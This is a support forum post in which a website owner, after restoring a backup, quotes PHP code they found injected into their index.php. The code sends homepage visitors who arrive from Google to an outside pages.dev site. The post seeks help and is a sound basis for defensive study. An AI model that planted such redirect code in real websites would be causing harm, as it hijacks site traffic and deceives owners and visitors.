Error in submissions page

Software Support
2

Hi, I restored a backup of my website and now it works. Matching the not-working version with the original one, I noticed many differences.

This is the original root folder:

image
image292×243 8.09 KB

This is the not-working version:

image
image466×287 12.4 KB

Looking at index.php code I noticed this lines added:

<?php
// Hanya cek homepage
if ($_SERVER['REQUEST_URI'] === '/' && empty($_SERVER['QUERY_STRING'])) {
    // Cek referer
    if (isset($_SERVER['HTTP_REFERER'])) {
        // Jika referer mengandung "google" (klik dari Google)
        if (strpos($_SERVER['HTTP_REFERER'], 'google') !== false) {
            header("Location: https://diglosiaunmul.pages.dev/");
            exit;
        }
    }
}
?>

What do you suggest? Thanks